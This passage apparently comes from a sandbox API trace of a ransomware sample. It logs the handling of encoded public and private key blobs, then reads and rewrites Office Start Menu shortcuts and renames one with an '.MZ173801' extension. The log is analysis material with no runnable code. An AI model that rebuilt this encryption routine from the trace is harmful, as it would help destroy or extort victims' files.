lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0210.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0210.945] GetCurrentThreadId () returned 0xab4 [0210.945] GetCurrentThreadId () returned 0xab4 [0210.945] GetCurrentThreadId () returned 0xab4 [0210.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0210.946] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0210.946] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0210.946] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x95f [0210.946] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0210.946] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x95f, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x95f, lpOverlapped=0x0) returned 1 [0210.967] CloseHandle (hObject=0x328) returned 1 [0210.967] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.008] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x95f, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x95f, lpOverlapped=0x0) returned 1 [0211.009] CloseHandle (hObject=0x328) returned 1 [0211.085] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\onenote 2016.lnk.mz173801")) returned 1 [0211.295] GetCurrentThreadId () returned 0xab4 [0211.295] GetCurrentThreadId () returned 0xab4 [0211.295] GetCurrentThreadId () returned 0xab4 [0211.296] GetCurrentThreadId () returned 0xab4 [0211.296] GetCurrentThreadId () returned 0xab4 [0211.296] GetCurrentThreadId () returned 0xab4 [0211.296] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d6d38e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Outlook 2016.lnk", cAlternateFileName="OUTLOO~1.LNK")) returned 1 [0211.296] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.296] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.296] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4d6d38e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d6d38e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4d6d38e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96d)) returned 1 [0211.296] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk")) returned 0x20 [0211.296] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.441] GetCurrentThreadId () returned 0xab4 [0211.441] GetCurrentThreadId () returned 0xab4 [0211.441] GetCurrentThreadId () returned 0xab4 [0211.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.442] GetCurrentThreadId () returned 0xab4 [0211.442] GetCurrentThreadId () returned 0xab4 [0211.442] GetCurrentThreadId () returned 0xab4 [0211.442] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\outlook 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.442] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.442] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.442] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x96d [0211.442] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: 